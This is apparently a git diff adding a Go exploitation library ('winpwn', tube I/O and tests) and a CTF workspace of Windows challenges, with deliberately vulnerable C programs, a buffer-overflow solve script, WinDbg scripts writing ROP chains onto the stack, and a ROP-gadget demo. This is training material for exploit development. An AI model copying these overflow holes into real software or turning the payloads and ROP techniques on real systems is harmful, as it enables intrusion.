+// callers decide what a timeout/EOF/closed-connection means for their +// script, the same way pwntools raises (and lets you catch) EOFError / +// PwnlibException instead of the library calling sys.exit(). +type Tube struct { + cmd *exec.Cmd + conn net.Conn + stdin io.WriteCloser + stdout io.ReadCloser + reader *bufio.Reader + + // timeout overrides Context.Timeout for this tube specifically; zero + // means "fall back to Context.Timeout" (which is itself zero/forever + // by default). Set via SetTimeout. + timeout time.Duration + + closeOnce sync.Once + closeErr error +} + +// newTube wraps a writer/reader pair into a Tube with a buffered reader. +func newTube(cmd *exec.Cmd, conn net.Conn, stdin io.WriteCloser, stdout io.ReadCloser) *Tube { + return &Tube{ + cmd: cmd, + conn: conn, + stdin: stdin, + stdout: stdout, + reader: bufio.NewReader(stdout), + } +} + +// SetTimeout overrides Context.Timeout for this tube's Recv*/Send* calls. +// Zero means block forever (the default), matching pwntools' per-tube +// timeout= override of the global context.timeout. +func (t *Tube) SetTimeout(d time.Duration) { + t.timeout = d +} + +func (t *Tube) effectiveTimeout() time.Duration { + if t.timeout > 0 { + return t.timeout + } + return Context.Timeout +} + +// PID returns the OS process ID for a locally spawned process, or 0 for +// remote tubes. Use it to feed winpwn.NewProcessSymbols or +// winpwn.ListProcessHeaps without having to track the PID separately. +func (t *Tube) PID() uint32 { + if t.cmd != nil && t.cmd.Process != nil { + return uint32(t.cmd.Process.Pid) + } + return 0 +} + +// Close tears down the underlying process/connection. Safe to call more +// than once (idempotent) -- Interactive relies on this to make a pending +// stdin write fail fast instead of dangling. +func (t *Tube) Close() error { + t.closeOnce.Do(func() { + if t.stdin != nil { + _ = t.stdin.Close() + } + if t.stdout != nil { + _ = t.stdout.Close() + } + if t.conn != nil { + t.closeErr = t.conn.Close() + return + } + if t.cmd != nil && t.cmd.Process != nil { + t.closeErr = t.cmd.Process.Kill() + } + }) + return t.closeErr +} + +// withTimeout runs fn on its own goroutine and races it against this tube's +// effective timeout. If fn doesn't return in time, withTimeout returns a +// timeout error immediately -- but fn's goroutine is *not* killed (the +// underlying pipe/socket reader has no native per-call deadline), so it +// keeps running in the background until the blocking I/O it's stuck in +// eventually completes or errors. That's the standard, and only portable, +// way to bolt a deadline onto an arbitrary io.Reader/Writer in Go. +func withTimeout[T any](t *Tube, fn func() (T, error)) (T, error) { + timeout := t.effectiveTimeout() + if timeout <= 0 { + return fn() + } + type result struct { + v T + err error + } + ch := make(chan result, 1) + go func() { + v, err := fn() + ch <- result{v, err} + }() + select { + case r := <-ch: + return r.v, r.err + case <-time.After(timeout): + var zero T + return zero, fmt.Errorf("winpwn: operation timed out after %s", timeout) + } +} + +// Recv reads up to n bytes from the tube, blocking until n bytes have +// arrived. On a clean EOF after at least one byte it returns the partial +// read with a nil error (mirroring the old behavior); on EOF with nothing +// read yet, it returns io.EOF. +func (t *Tube) Recv(n int) ([]byte, error) { + return withTimeout(t, func() ([]byte, error) { + buf := make([]byte, n) + read, err := io.ReadFull(t.reader, buf) + if err != nil { + if err == io.ErrUnexpectedEOF || err == io.EOF { + if read > 0 { + return buf[:read], nil + } + return nil, io.EOF + } + return buf[:read], err + } + return buf, nil + }) +} + +// RecvUntil reads from the tube until delim is seen (inclusive of delim). +func (t *Tube) RecvUntil(delim []byte) ([]byte, error) { + return withTimeout(t, func() ([]byte, error) { + var out []byte + for { + b, err := t.reader.ReadByte() + if err != nil { + return out, err + } + out = append(out, b) + if bytes.HasSuffix(out, delim) { + return out, nil + } + } + }) +} + +// RecvLine reads a single line, including the trailing newline +// (Context.Newline, "\n" by default). +func (t *Tube) RecvLine() ([]byte, error) { + return t.RecvUntil(Context.Newline) +} + +// RecvPred reads one byte at a time until pred(accumulated) reports true, +// the analogue of pwntools' recvpred. +func (t *Tube) RecvPred(pred func([]byte) bool) ([]byte, error) { + return withTimeout(t, func() ([]byte, error) { + var out []byte + for { + b, err := t.reader.ReadByte() + if err != nil { + return out, err + } + out = append(out, b) + if pred(out) { + return out, nil + } + } + }) +} + +// RecvRegex reads one byte at a time until the accumulated buffer matches +// re, the analogue of pwntools' recvregex. +func (t *Tube) RecvRegex(re *regexp.Regexp) ([]byte, error) { + return t.RecvPred(func(buf []byte) bool { + return re.Match(buf) + }) +} + +// Send writes raw bytes to the tube. +func (t *Tube) Send(data []byte) error { + _, err := withTimeout(t, func() (int, error) { + return t.stdin.Write(data) + }) + return err +} + +// SendLine writes data followed by Context.Newline. +func (t *Tube) SendLine(data []byte) error { + return t.Send(append(append([]byte{}, data...), Context.Newline...)) +} + +// SendAfter waits for delim, then sends data (no trailing newline). +func (t *Tube) SendAfter(delim []byte, data []byte) error { + if _, err := t.RecvUntil(delim); err != nil { + return err + } + return t.Send(data) +} + +// SendLineAfter waits for delim, then sends data followed by a newline. +func (t *Tube) SendLineAfter(delim []byte, data []byte) error { + if _, err := t.RecvUntil(delim); err != nil { + return err + } + return t.SendLine(data) +} + +// Interactive hands the tube's stdin/stdout over to the user's terminal, +// the Go analogue of pwntools' tube.interactive(). Ctrl+C cleanly tears +// down the local process or remote connection. +// +// The stdin-forwarding goroutine below has no portable way to be cancelled +// in Go (os.Stdin.Read blocks with no deadline support), so it keeps +// running until the next keystroke/EOF even after Interactive returns; +// the deferred Close() at least makes its next Write fail fast instead of +// leaving the target side dangling. This is a known, deliberate limitation, +// not an oversight -- don't call Interactive() in a tight loop expecting +// the goroutine to be gone before the next iteration. +func (t *Tube) Interactive() { + defer t.Close() + + sigChan := make(chan os.Signal, 1) + signal.Notify(sigChan, os.Interrupt, syscall.SIGTERM) + defer signal.Stop(sigChan) + + stdoutDone := make(chan struct{}) + go func() { + _, _ = io.Copy(os.Stdout, t.reader) + close(stdoutDone) + }() + + go func() { + _, _ = io.Copy(t.stdin, os.Stdin) + }() + + Info("Switching to interactive mode") + + if t.cmd != nil { + // Local process branch. + waitCh := make(chan error, 1) + go func() { + waitCh <- t.cmd.Wait() + }() + + select { + case err := <-waitCh: + if err == nil { + Info("Process exited normally (code 0)") + } else { + var exitErr *exec.ExitError + if errors.As(err, &exitErr) { + code := exitErr.ExitCode() + // 0xC0000005 (Access Violation) is the Windows analogue of SIGSEGV. + Error("Process crashed/terminated with code: 0x%X", uint32(code)) + } else { + Error("Process execution error: %v", err) + } + } + case <-sigChan: + Info("Interrupted by user, killing process...") + } + } else { + // Remote connection branch. + select { + case <-stdoutDone: + Info("Connection closed by foreign host") + case <-sigChan: + Info("Interrupted by user, closing connection...") + } + } +} diff --git a/tube_test.go b/tube_test.go new file mode 100644 index 0000000..0856412 --- /dev/null +++ b/tube_test.go @@ -0,0 +1,124 @@ +package winpwn + +import ( + "io" + "testing" + "time" +) + +// newPipeTube wires a Tube to an in-memory io.Pipe pair instead of a real +// process/socket, so Tube's framing logic (Send/Recv/RecvUntil/timeouts) can +// be unit-tested without spawning anything OS-specific. Returns the tube +// plus the "remote" end the test drives directly. +func newPipeTube() (tube *Tube, remoteRead *io.PipeReader, remoteWrite *io.PipeWriter) { + toTube, fromRemote := io.Pipe() // remote writes fromRemote -> tube reads toTube + toRemote, fromTube := io.Pipe() // tube writes fromTube -> remote reads toRemote + tube = newTube(nil, nil, fromTube, toTube) + return tube, toRemote, fromRemote +} + +func TestTubeSendRecv(t *testing.T) { + tube, remoteRead, remoteWrite := newPipeTube() + defer tube.Close() + + go func() { + buf := make([]byte, 5) + _, _ = io.ReadFull(remoteRead, buf) + _, _ = remoteWrite.Write([]byte("got: ")) + _, _ = remoteWrite.Write(buf) + }() + + if err := tube.Send([]byte("hello")); err != nil { + t.Fatal(err) + } + + got, err := tube.Recv(10) + if err != nil { + t.Fatal(err) + } + if string(got) != "got: hello" { + t.Errorf("Recv = %q, want %q", got, "got: hello") + } +} + +func TestTubeRecvUntil(t *testing.T) { + tube, _, remoteWrite := newPipeTube() + defer tube.Close() + + go func() { + _, _ = remoteWrite.Write([]byte("foo bar: baz\n")) + }() + + got, err := tube.RecvUntil([]byte(": ")) + if err != nil { + t.Fatal(err) + } + if string(got) != "foo bar: " { + t.Errorf("RecvUntil = %q, want %q", got, "foo bar: ") + } +} + +func TestTubeRecvLineUsesContextNewline(t *testing.T) { + tube, _, remoteWrite := newPipeTube() + defer tube.Close() + + go func() { + _, _ = remoteWrite.Write([]byte("first line\nsecond")) + }() + + got, err := tube.RecvLine() + if err != nil { + t.Fatal(err) + } + if string(got) != "first line\n" { + t.Errorf("RecvLine = %q, want %q", got, "first line\n") + } +} + +func TestTubeSendAfter(t *testing.T) { + tube, remoteRead, remoteWrite := newPipeTube() + defer tube.Close() + + go func() { + _, _ = remoteWrite.Write([]byte("password: ")) + buf := make([]byte, 6) + _, _ = io.ReadFull(remoteRead, buf) + _, _ = remoteWrite.Write(buf) + }() + + if err := tube.SendAfter([]byte(": "), []byte("secret")); err != nil { + t.Fatal(err) + } + got, err := tube.Recv(6) + if err != nil { + t.Fatal(err) + } + if string(got) != "secret" { + t.Errorf("echoed payload = %q, want %q", got, "secret") + } +} + +func TestTubeRecvTimesOutOnHang(t *testing.T) { + tube, _, _ := newPipeTube() // nobody ever writes + defer tube.Close() + tube.SetTimeout(50 * time.Millisecond) + + start := time.Now() + _, err := tube.Recv(1) + if err == nil { + t.Fatal("expected a timeout error, got nil") + } + if elapsed := time.Since(start); elapsed > time.Second { + t.Errorf("timeout took %s, expected ~50ms", elapsed) + } +} + +func TestTubeCloseIsIdempotent(t *testing.T) { + tube, _, _ := newPipeTube() + if err := tube.Close(); err != nil { + t.Fatalf("first Close: %v", err) + } + if err := tube.Close(); err != nil { + t.Fatalf("second Close should be a no-op, got: %v", err) + } +} diff --git a/workspace/README.md b/workspace/README.md new file mode 100644 index 0000000..ee97761 --- /dev/null +++ b/workspace/README.md @@ -0,0 +1,61 @@ +# CTF Workspace + +Рабочая папка для решения задач с winpwn. Библиотека — в `../go_pwner/`, не трогай. + +## Структура + +``` +workspace/ +├── go.mod ← replace winpwn => ../go_pwner (не трогай) +├── template/ ← шаблон нового solve-скрипта +│ └── main.go +│ +├── bof_basic/ ← стек overflow, базовый +├── task1_leak/ ← info leak → redirect (нет ASLR) +├── task2_rop/ ← BOF + ROP chain + DEP +├── task3_fmtstr/ ← format string (нет скомпилированного бинаря) +│ +├── heap_lfh/ ← UAF + LFH grooming +├── heap_typemix/ ← UAF type confusion, без LFH +├── heap_overflow/ ← adjacent chunk overflow, NT Heap backend +├── heap_segment/ ← adjacent chunk overflow, Segment Heap +├── heap_info_leak/ ← OOB read + ASLR bypass + UAF +│ +└── demos/ ← демо API winpwn, не задачи + ├── pe_multitool/ ← checksec, IAT/EAT, ROP-сканер + ├── shellcraft_winexec/ ← генерация PIC x64 shellcode + └── leak_msvcrt/ ← поиск system() + cmd.exe в msvcrt.dll +``` + +Каждая задача: +``` +task1_leak/ +├── main.go ← solve-скрипт, запускать отсюда: go run . +├── task1.exe ← бинарь-цель +├── flag.txt ← флаг (открывается целевым процессом) +└── src/ + └── task1.c ← исходник задачи +``` + +## Запуск + +``` +cd C:\tools\workspace\task1_leak +go run . +``` + +## Новая задача + +``` +cd C:\tools\workspace +mkdir mynew +cd mynew +# скопируй бинарь: copy C:\path\to\chal.exe . +# скопируй шаблон: copy ..\template\main.go . +go run . +``` + +## Документация + +- `C:\tools\go_pwner\USAGE_RU.md` — краткий справочник по-русски +- `C:\tools\go_pwner\USAGE.md` — полный гайд на английском diff --git a/workspace/bof_basic/.claude/settings.local.json b/workspace/bof_basic/.claude/settings.local.json new file mode 100644 index 0000000..d2b72f6 --- /dev/null +++ b/workspace/bof_basic/.claude/settings.local.json @@ -0,0 +1,7 @@ +{ + "permissions": { + "allow": [ + "Bash(find / -iname \"winpwn*\" -not -path \"*/node_modules/*\" 2>/dev/null | head -50)" + ] + } +} diff --git a/workspace/bof_basic/PEB_walk.c b/workspace/bof_basic/PEB_walk.c new file mode 100644 index 0000000..18cb816 --- /dev/null +++ b/workspace/bof_basic/PEB_walk.c @@ -0,0 +1,166 @@ +#include +#include +#include + +// Функция для парсинга PEB и поиска WinExec +FARPROC FindWinExec() { + // Получаем PEB через FS регистр + #ifdef _WIN64 + PPEB pPEB = (PPEB)__readgsqword(0x60); + #else + PPEB pPEB = (PPEB)__readfsdword(0x30); + #endif + + // Получаем LDR (Loader Data) + PPEB_LDR_DATA pLDR = pPEB->Ldr; + + // Проходим по списку загруженных модулей + LIST_ENTRY* pModuleList = &pLDR->InMemoryOrderModuleList; + LIST_ENTRY* pEntry = pModuleList->Flink; + + // Ищем kernel32.dll + while (pEntry != pModuleList) { + PLDR_DATA_TABLE_ENTRY pModule = CONTAINING_RECORD(pEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); + + // Проверяем имя модуля + WCHAR* moduleName = pModule->BaseDllName.Buffer; + if (moduleName && wcsstr(moduleName, L"kernel32.dll")) { + HMODULE hKernel32 = (HMODULE)pModule->DllBase; + + // Ищем WinExec в kernel32.dll + FARPROC pWinExec = GetProcAddress(hKernel32, "WinExec"); + if (pWinExec) { + printf("[+] Found WinExec at: 0x%p\n", pWinExec); + return pWinExec; + } + } + pEntry = pEntry->Flink; + } + + return NULL; +} + +// Функция для открытия и парсинга .exe файла +void ParseExeFile(const char* filename) { + HANDLE hFile = CreateFileA( + filename, + GENERIC_READ, + FILE_SHARE_READ, + NULL, + OPEN_EXISTING, + FILE_ATTRIBUTE_NORMAL, + NULL + ); + + if (hFile == INVALID_HANDLE_VALUE) { + printf("[-] Failed to open file: %s\n", filename); + return; + } + + // Читаем DOS заголовок + IMAGE_DOS_HEADER dosHeader; + DWORD bytesRead; + if (!ReadFile(hFile, &dosHeader, sizeof(dosHeader), &bytesRead, NULL)) { + printf("[-] Failed to read DOS header\n"); + CloseHandle(hFile); + return; + } + + // Проверяем сигнатуру DOS + if (dosHeader.e_magic != IMAGE_DOS_SIGNATURE) { + printf("[-] Invalid DOS signature\n"); + CloseHandle(hFile); + return; + } + + // Переходим к PE заголовку + SetFilePointer(hFile, dosHeader.e_lfanew, NULL, FILE_BEGIN); + + // Читаем PE сигнатуру + DWORD peSignature; + ReadFile(hFile, &peSignature, sizeof(peSignature), &bytesRead, NULL); + + if (peSignature != IMAGE_NT_SIGNATURE) { + printf("[-] Invalid PE signature\n"); + CloseHandle(hFile); + return; + } + + // Читаем файловый заголовок + IMAGE_FILE_HEADER fileHeader; + ReadFile(hFile, &fileHeader, sizeof(fileHeader), &bytesRead, NULL); + + printf("[+] File is a valid PE executable\n"); + printf("[+] Number of sections: %d\n", fileHeader.NumberOfSections); + printf("[+] Size of optional header: %d\n", fileHeader.SizeOfOptionalHeader); + + // Читаем опциональный заголовок + IMAGE_OPTIONAL_HEADER32 optionalHeader; + ReadFile(hFile, &optionalHeader, sizeof(optionalHeader), &bytesRead, NULL); + + printf("[+] Entry point: 0x%X\n", optionalHeader.AddressOfEntryPoint); + printf("[+] Image base: 0x%X\n", optionalHeader.ImageBase); + + // Читаем секции + printf("\n[+] Sections:\n"); + for (int i = 0; i < fileHeader.NumberOfSections; i++) { + IMAGE_SECTION_HEADER sectionHeader; + ReadFile(hFile, §ionHeader, sizeof(sectionHeader), &bytesRead, NULL); + + printf(" %s - VA: 0x%X, Size: 0x%X\n", + sectionHeader.Name, + sectionHeader.VirtualAddress, + sectionHeader.SizeOfRawData); + } + + CloseHandle(hFile); +} + +// Функция-победитель (win) +void win(void) { + printf("flag{ret2win_but_its_WINDOWS}\n"); + + // Находим WinExec через PEB + FARPROC pWinExec = FindWinExec(); + if (pWinExec) { + // Запускаем калькулятор через WinExec + typedef void (*WinExec_t)(LPCSTR, UINT); + WinExec_t WinExec_func = (WinExec_t)pWinExec; + WinExec_func("mspaint.exe", SW_SHOW); + printf("[+] paint launched!\n"); + } +} + +// Уязвимая функция +void vulnerable_function() { + char buf[16]; + + printf("enter your data:\n"); + scanf("%s", buf); + + printf("try again\n"); +} + +int main(int argc, char* argv[]) { + printf("=== Windows Buffer Overflow CTF Challenge ===\n\n"); + + // Если передан аргумент, парсим .exe файл + if (argc > 1) { + printf("[*] Parsing PE file: %s\n", argv[1]); + ParseExeFile(argv[1]); + printf("\n"); + } + + // Демонстрируем поиск WinExec через PEB + printf("[*] Finding WinExec via PEB parsing...\n"); + FARPROC pWinExec = FindWinExec(); + if (pWinExec) { + printf("[+] WinExec found at: 0x%p\n", pWinExec); + } + printf("\n"); + + // Вызываем уязвимую функцию + vulnerable_function(); + + return 0; +} diff --git a/workspace/bof_basic/bof.c b/workspace/bof_basic/bof.c new file mode 100644 index 0000000..18b7016 --- /dev/null +++ b/workspace/bof_basic/bof.c @@ -0,0 +1,13 @@ +void copy(const char *p) +{ + char buffer[40]; + strcpy(buffer, p); +} + +int main(int argc, char** argv) +{ + if (argc != 2) return 1; + + copy(argv[1]); + return 0; +} diff --git a/workspace/bof_basic/bof.exe b/workspace/bof_basic/bof.exe new file mode 100644 index 0000000..1037fab Binary files /dev/null and b/workspace/bof_basic/bof.exe differ diff --git a/workspace/bof_basic/bof.ilk b/workspace/bof_basic/bof.ilk new file mode 100644 index 0000000..f1c8628 Binary files /dev/null and b/workspace/bof_basic/bof.ilk differ diff --git a/workspace/bof_basic/bof.pdb b/workspace/bof_basic/bof.pdb new file mode 100644 index 0000000..cec9422 Binary files /dev/null and b/workspace/bof_basic/bof.pdb differ diff --git a/workspace/bof_basic/bof_ASLR_CANARY.exe b/workspace/bof_basic/bof_ASLR_CANARY.exe new file mode 100644 index 0000000..0985a59 Binary files /dev/null and b/workspace/bof_basic/bof_ASLR_CANARY.exe differ diff --git a/workspace/bof_basic/bof_ASLR_CANARY.ilk b/workspace/bof_basic/bof_ASLR_CANARY.ilk new file mode 100644 index 0000000..b7df54b Binary files /dev/null and b/workspace/bof_basic/bof_ASLR_CANARY.ilk differ diff --git a/workspace/bof_basic/bof_ASLR_CANARY.pdb b/workspace/bof_basic/bof_ASLR_CANARY.pdb new file mode 100644 index 0000000..95b6e17 Binary files /dev/null and b/workspace/bof_basic/bof_ASLR_CANARY.pdb differ diff --git a/workspace/bof_basic/bof_ASLR_noCANARY.exe b/workspace/bof_basic/bof_ASLR_noCANARY.exe new file mode 100644 index 0000000..d0f8a9e Binary files /dev/null and b/workspace/bof_basic/bof_ASLR_noCANARY.exe differ diff --git a/workspace/bof_basic/bof_ASLR_noCANARY.ilk b/workspace/bof_basic/bof_ASLR_noCANARY.ilk new file mode 100644 index 0000000..510b0a0 Binary files /dev/null and b/workspace/bof_basic/bof_ASLR_noCANARY.ilk differ diff --git a/workspace/bof_basic/bof_ASLR_noCANARY.pdb b/workspace/bof_basic/bof_ASLR_noCANARY.pdb new file mode 100644 index 0000000..886004e Binary files /dev/null and b/workspace/bof_basic/bof_ASLR_noCANARY.pdb differ diff --git a/workspace/bof_basic/bof_noASLR_CANARY.exe b/workspace/bof_basic/bof_noASLR_CANARY.exe new file mode 100644 index 0000000..d2d2425 Binary files /dev/null and b/workspace/bof_basic/bof_noASLR_CANARY.exe differ diff --git a/workspace/bof_basic/bof_noASLR_CANARY.ilk b/workspace/bof_basic/bof_noASLR_CANARY.ilk new file mode 100644 index 0000000..76a8ff2 Binary files /dev/null and b/workspace/bof_basic/bof_noASLR_CANARY.ilk differ diff --git a/workspace/bof_basic/bof_noASLR_CANARY.pdb b/workspace/bof_basic/bof_noASLR_CANARY.pdb new file mode 100644 index 0000000..5cf5dd0 Binary files /dev/null and b/workspace/bof_basic/bof_noASLR_CANARY.pdb differ diff --git a/workspace/bof_basic/bof_noASLR_noCANARY.exe b/workspace/bof_basic/bof_noASLR_noCANARY.exe new file mode 100644 index 0000000..0928d42 Binary files /dev/null and b/workspace/bof_basic/bof_noASLR_noCANARY.exe differ diff --git a/workspace/bof_basic/bof_noASLR_noCANARY.ilk b/workspace/bof_basic/bof_noASLR_noCANARY.ilk new file mode 100644 index 0000000..fd5b825 Binary files /dev/null and b/workspace/bof_basic/bof_noASLR_noCANARY.ilk differ diff --git a/workspace/bof_basic/bof_noASLR_noCANARY.pdb b/workspace/bof_basic/bof_noASLR_noCANARY.pdb new file mode 100644 index 0000000..b94e322 Binary files /dev/null and b/workspace/bof_basic/bof_noASLR_noCANARY.pdb differ diff --git a/workspace/bof_basic/dbg_script3.txt b/workspace/bof_basic/dbg_script3.txt new file mode 100644 index 0000000..f58ee07 --- /dev/null +++ b/workspace/bof_basic/dbg_script3.txt @@ -0,0 +1,17 @@ +bp 0x14000729d +g +eb 14fe80 6e 6f 74 65 70 61 64 2e 65 78 65 00 +eq 14fe80+38 7ff80826a853 +eq 14fe80+40 14fe80 +eq 14fe80+48 7ff8082dcc27 +eq 14fe80+50 1 +eq 14fe80+58 0 +eq 14fe80+60 7ff8072a8820 +bp 7ff8072a8820 +g +r rsp +!teb +gu +r rax +!gle +q diff --git a/workspace/bof_basic/dbg_script4.txt b/workspace/bof_basic/dbg_script4.txt new file mode 100644 index 0000000..8c82859 --- /dev/null +++ b/workspace/bof_basic/dbg_script4.txt @@ -0,0 +1,14 @@ +bp 0x14000729d +g +eb 14fe80 6e 6f 74 65 70 61 64 2e 65 78 65 00 +eq 14fe80+38 7ff80826a853 +eq 14fe80+40 14fe80 +eq 14fe80+48 7ff8082dcc27 +eq 14fe80+50 1 +eq 14fe80+58 0 +eq 14fe80+60 7ff8072a8820 +bp 7ff8072a8820 +g +da 14fe80 +r rcx,rdx +q diff --git a/workspace/bof_basic/dbg_script5.txt b/workspace/bof_basic/dbg_script5.txt new file mode 100644 index 0000000..204049e --- /dev/null +++ b/workspace/bof_basic/dbg_script5.txt @@ -0,0 +1,15 @@ +bp 0x14000729d +g +eb 14fe80 63 61 6c 63 2e 65 78 65 00 +eq 14fe80+38 7ff80826a853 +eq 14fe80+40 14fe80 +eq 14fe80+48 7ff8082dcc27 +eq 14fe80+50 1 +eq 14fe80+58 0 +eq 14fe80+60 7ff8072a8820 +bp 7ff8072a8820 +g +gu +r rax +!gle +q diff --git a/workspace/bof_basic/dbg_script6.txt b/workspace/bof_basic/dbg_script6.txt new file mode 100644 index 0000000..b36d5ff --- /dev/null +++ b/workspace/bof_basic/dbg_script6.txt @@ -0,0 +1,14 @@ +bp 0x14000729d +g +eb 14fe80 6e 6f 74 65 70 61 64 2e 65 78 65 00 +eq 14fe80+38 7ff80826a853 +eq 14fe80+40 14fe80 +eq 14fe80+48 7ff8082dcc27 +eq 14fe80+50 1 +eq 14fe80+58 0 +eq 14fe80+60 7ff8072a8820 +bp kernelbase!CreateProcessInternalW +g +r rcx,rdx,r8,r9 +du poi(rdx) +q diff --git a/workspace/bof_basic/dbg_script7.txt b/workspace/bof_basic/dbg_script7.txt new file mode 100644 index 0000000..1b87884 --- /dev/null +++ b/workspace/bof_basic/dbg_script7.txt @@ -0,0 +1,17 @@ +bp 0x14000729d +g +eb 14fe80 6e 6f 74 65 70 61 64 2e 65 78 65 00 +eq 14fe80+38 7ff80826a853 +eq 14fe80+40 14fe80 +eq 14fe80+48 7ff8082dcc27 +eq 14fe80+50 1 +eq 14fe80+58 0 +eq 14fe80+60 7ff8072a8820 +bp kernelbase!CreateProcessInternalW +g +r rcx,rdx +g +r rcx,rdx +g +r rcx,rdx +q diff --git a/workspace/bof_basic/main.go b/workspace/bof_basic/main.go new file mode 100644 index 0000000..9a233b9 --- /dev/null +++ b/workspace/bof_basic/main.go @@ -0,0 +1,98 @@ +// pe_multitool tours the static-analysis side of winpwn: checksec, section +// entropy, IAT/EAT navigation with forwarder resolution, and the native ROP +// gadget scanner. Run from: workspace/demos/pe_multitool -> go run . +package main + +import ( + "fmt" + "log" + "winpwn" +) + +const target = "simple_rop.exe"; + +func main() { + pe, err := winpwn.OpenPE(target) + if err != nil { + log.Fatalf("OpenPE: %v", err) + } + defer pe.Close() + + is64, _ := pe.Is64Bit() + base, _ := pe.ImageBase() + entry, _ := pe.EntryPoint() + fmt.Printf("=== %s ===\n", target) + fmt.Printf("64-bit: %v ImageBase: 0x%X EntryPoint: 0x%X\n\n", is64, base, entry) + + // --- checksec --- + cs, err := pe.Checksec() + if err != nil { + log.Fatalf("Checksec: %v", err) + } + fmt.Println("--- checksec ---") + fmt.Printf("ASLR (DYNAMIC_BASE): %v\n", cs.ASLR) + fmt.Printf("High-Entropy VA: %v\n", cs.HighEntropyVA) + fmt.Printf("DEP (NX_COMPAT): %v\n", cs.DEP) + fmt.Printf("CFG: %v\n", cs.CFG) + if cs.SEHApplicable { + fmt.Printf("SafeSEH: %v\n", cs.SafeSEH) + } else { + fmt.Println("SafeSEH: n/a (x64 uses table-based SEH)") + } + fmt.Printf("GS cookie (heuristic): %v\n", cs.GSHeuristic) + fmt.Printf("Authenticode present: %v\n", cs.AuthenticodeSigned) + fmt.Println() + + // --- section entropy / packing --- + fmt.Println("--- sections ---") + for _, sec := range pe.Sections() { + entropy, _ := sec.Entropy() + fmt.Printf("%-10s R=%v W=%v X=%v entropy=%.2f\n", + sec.Name, sec.IsReadable(), sec.IsWritable(), sec.IsExecutable(), entropy) + } + fmt.Println() + + // --- IAT: what does this binary already pull in? --- + fmt.Println("--- interesting imports ---") + for _, name := range []string{"VirtualProtect", "VirtualAlloc", "LoadLibraryA", "GetProcAddress", "CreateFileA"} { + imp, err := pe.FindImport(name) + if err != nil { + fmt.Printf("%-16s not imported\n", name) + continue + } + fmt.Printf("%-16s %s!%s IAT RVA=0x%X\n", name, imp.DLL, imp.Name, imp.IATRVA) + } + fmt.Println() + + // --- EAT: does this binary export anything (e.g. a win() for ROP)? --- + exports, err := pe.ListExports() + if err == nil { + fmt.Printf("--- exports (%d) ---\n", len(exports)) + for _, e := range exports { + if e.ForwardTarget != "" { + dll, fn := winpwn.ParseForwardTarget(e.ForwardTarget) + fmt.Printf("%s -> forwards to %s!%s\n", e.Name, dll, fn) + } else { + fmt.Printf("%s RVA=0x%X\n", e.Name, e.RVA) + } + } + fmt.Println() + } + + rop, err := winpwn.NewROP(target) + if err != nil { + log.Fatalf("NewROP: %v", err) + } + defer rop.Close() + + fmt.Println("--- gadgets ---") + if g, err := rop.Search("pop rcx ; ret"); err == nil { + fmt.Printf("pop rcx ; ret: 0x%X (%d candidates)\n", g[0].Address, len(g)) + if lines, err := rop.Disassemble(g[0].Address, 2); err == nil { + fmt.Printf(" verified: %v\n", lines) + } + } + if g, err := rop.SearchRegex(`^pop r\w+ ; pop r\w+ ; ret$`); err == nil { + fmt.Printf("pop r.. ; pop r.. ; ret: %d candidates, first at 0x%X\n", len(g), g[0].Address) + } +} diff --git a/workspace/bof_basic/simple_rop.exe b/workspace/bof_basic/simple_rop.exe new file mode 100644 index 0000000..37a6ad0 Binary files /dev/null and b/workspace/bof_basic/simple_rop.exe differ diff --git a/workspace/bof_basic/solve.c b/workspace/bof_basic/solve.c new file mode 100644 index 0000000..adb50c5 --- /dev/null +++ b/workspace/bof_basic/solve.c @@ -0,0 +1,67 @@ +#include +#include + +int main() +{ + + char payload[] = { + "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" + "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" + "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" + "\xCC\xCC\xCC\xCC\xCC\xCC\xCC\xCC" + "\xF8\x0E\x7E\x77" + }; + + char commandLine[] = "bof.exe "; + + size_t neededSize = strlen(commandLine) + strlen(payload) + 1; + + char* fin = (char*)malloc(neededSize); + + snprintf(fin, neededSize, "%s%s", commandLine, payload); + + STARTUPINFOA si; + PROCESS_INFORMATION pi; + + ZeroMemory(&si, sizeof(si)); + si.cb = sizeof(si); + ZeroMemory(&pi, sizeof(pi)); + + BOOL success = CreateProcessA( + NULL, // Имя модуля (используем командную строку) + fin, // Командная строка (включая аргументы) + NULL, // Атрибуты безопасности процесса + NULL, // Атрибуты безопасности потока + FALSE, // Наследование дескрипторов + 0, //CREATE_SUSPENDED, // КРИТИЧЕСКИЙ ФЛАГ, сразу либо зависнет + NULL, // Окружение + NULL, // Текущий каталог + &si, // Указатель на STARTUPINFO + &pi // Указатель на PROCESS_INFORMATION + ); + +/* if (!success) { + printf("[FAIL] Не удалось создать процесс. Ошибка: %lu\n", GetLastError()); + return 1; + } + + printf("[SUCCESS] Процесс запущен! PID: %lu\n", pi.dwProcessId); + printf("[*] Сейчас самое время подключиться дебаггером (WinDbg/x64dbg) к PID %lu\n", pi.dwProcessId); + + + printf("Нажми ENTER, чтобы возобновить поток и отправить инпут...\n"); + getchar(); + + // Оживляем главный поток процесса + printf("[*] Возобновление потока...\n"); + ResumeThread(pi.hThread); +*/ + // Закрываем дескрипторы (они больше не нужны нашему лоадеру) + + + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + + free(fin); + return 0; +} diff --git a/workspace/bof_basic/solve.exe b/workspace/bof_basic/solve.exe new file mode 100644 index 0000000..3fcf41a Binary files /dev/null and b/workspace/bof_basic/solve.exe differ diff --git a/workspace/bof_basic/solve_ret2libc.c b/workspace/bof_basic/solve_ret2libc.c new file mode 100644 index 0000000..358eecc --- /dev/null +++ b/workspace/bof_basic/solve_ret2libc.c @@ -0,0 +1,139 @@ +// Debugger-assisted ret2libc for bof_noASLR_noCANARY.exe (x86-64, DEP always on for x64). +// +// copy() does strcpy(buffer, argv[1]); a plain strcpy-delivered payload can carry +// at most ONE 8-byte pointer (every usermode x64 address has a null top byte, and +// strcpy stops at the first \0). We need 3 pointers (two ntdll gadgets + WinExec), +// so instead we launch the target as our own debuggee, let the harmless placeholder +// argv[1] overflow the saved return address as usual, then - right before the `ret` +// in copy() executes - patch the stack ourselves via WriteProcessMemory, which has +// no null-byte restriction at all. +// +// Stack layout written at BUF_ADDR 